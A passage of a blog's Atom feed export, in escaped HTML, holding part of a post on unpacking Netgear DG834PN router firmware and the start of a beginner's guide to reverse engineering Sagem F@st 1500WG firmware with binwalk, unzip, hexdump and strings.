&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; Block size 65536&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; Number of fragments 0&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; Number of inodes 1227&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; Number of uids 1&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum17&quot; style=&quot;color: #606060;&quot;&gt;  17:&lt;/span&gt; Number of gids 0&lt;/pre&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
and finally the extracted filesystem,&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# mount -t squashfs -o loop squash.fs /tmp/mnt1/   &lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; root@system:~/DG834PN# cd /tmp/mnt1/&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; root@system:/tmp/mnt1# ls&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; bin  dev  etc  lib  proc  sbin  tmp  usr  var  www  www.deu  www.eng  www.fre  www.ita&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; root@system:~/DG834PN# cd usr/etc&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; root@system:/tmp/mnt1/usr/etc# ls&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; crontab  hosts   rcS                 setup.cgi    udhcpc.fix.script     upgrade_flash.cgi&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;default&lt;/span&gt;  passwd  resolv.conf         svn.info     udhcpc.script         version&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; group    ppp     restore_config.cgi  syslog.conf  udhcpc.wizard.script&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/2614960167867989678/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/08/firmware-reversing-netgear-dg834pn.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/2614960167867989678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/2614960167867989678'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/08/firmware-reversing-netgear-dg834pn.html' title='firmware reversing : Netgear DG834PN'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-5865396421803174189</id><published>2011-08-16T16:02:00.001+03:00</published><updated>2011-08-16T16:02:00.618+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="firmware reversing"/><title type='text'>firmware reverse engineering</title><content type='html'>&lt;p&gt;For some time now I wanted to open up these magical files that are full of options and settings, making our modems, cameras and other peripherals able to work. This is my starting guide for someone that would like to have a start on firmware reverse engineering. The firmware of my choice is the firmware that is running on wireless Router Sagem F@st 1500WG/1540WG.&lt;/p&gt; &lt;p&gt;There are not many tools that we actually need for a start and for me there was only one not on my system, that tool is binwalk ( &lt;a title=&quot;http://code.google.com/p/binwalk/&quot; href=&quot;http://code.google.com/p/binwalk/&quot;&gt;http://code.google.com/p/binwalk/&lt;/a&gt; ). I read about binwalk first time on the blog of /dev/ttyS0 &lt;a title=&quot;http://www.devttys0.com&quot; href=&quot;http://www.devttys0.com&quot;&gt;( http://www.devttys0.com&lt;/a&gt; ).&lt;/p&gt; &lt;p&gt;So first things first, getting binwalk.tar.gz from &lt;a title=&quot;http://binwalk.googlecode.com/files/binwalk-0.3.7.tar.gz&quot; href=&quot;http://binwalk.googlecode.com/files/binwalk-0.3.7.tar.gz&quot;&gt;http://binwalk.googlecode.com/files/binwalk-0.3.7.tar.gz&lt;/a&gt; , current version is 0.3.7 at the time of this writing and starting the compile I notice that my system was missing libcurl library. These days I run mostly ubuntu/debian based systems so if you run on the same problem the solution is the following: &lt;/p&gt; &lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt; &lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; apt-get install libcurl4-gnutls-dev&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;After installing the missing library ./configure , make and make install on the binwalk package completed with no issue.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Searching on Google I found the firmware and downloaded it on my system. Initially the provided package is zip compressed with the name SAGEM_1500WG_ROHS_Firmware_3_0_6.zip. &lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# l&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; total 1436&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; drwxr-xr-x  2 root root    4096 2011-08-16 12:14 &lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;/&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; drwxr-xr-x 54 root root    4096 2011-08-16 12:13 &lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;/&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; -rw-r--r--  1 root root 1457477 2011-08-16 12:14 SAGEM_1500WG_ROHS_Firmware_3_0_6&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;zip&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# unzip SAGEM_1500WG_ROHS_Firmware_3_0_6.zip &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; Archive:  SAGEM_1500WG_ROHS_Firmware_3_0_6&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;zip&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt;   inflating: 1500WG_SP_FW3_0_6_c&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;bin  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; user@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# file 1500WG_SP_FW3_0_6_c.bin &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; 1500WG_SP_FW3_0_6_c&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;bin: Zip archive data, at least v2&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;0 to extract&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; user@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;“file” command identifies “1500WG_SP_FW3_0_6_c.bin” as zip compressed file. At this point my first action was just to try and unzip it,&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# unzip 1500WG_SP_FW3_0_6_c.bin &lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; Archive:  1500WG_SP_FW3_0_6_c&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;bin&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; warning [1500WG_SP_FW3_0_6_c&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;bin]:  1263616 extra bytes at beginning or within zipfile&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt;   (attempting to process anyway)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt;   inflating: ar0700mp&lt;span style=&quot;color: #ff0000&quot;&gt;.&lt;/span&gt;bin            &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;So indeed, the file contains a compressed binary but there is also a warning saying that some extra bytes exist. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Another procedure to have a vague idea of the contents of the file can be achieved with the use of “strings” and “hexdump” commands. &lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# hexdump -C 1500WG_SP_FW3_0_6_c.bin &amp;gt; hex.dump&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; root@system:~/firmware&lt;span style=&quot;color: #008000&quot;&gt;# strings -n 10 1500WG_SP_FW3_0_6_c.bin &amp;gt; strings.out&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;My first choice here is always to have a look at strings&#39; output first and at this time, interestingly there were the followings:&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@system:~/firmware# more strings.out &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; soho.binUT&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; 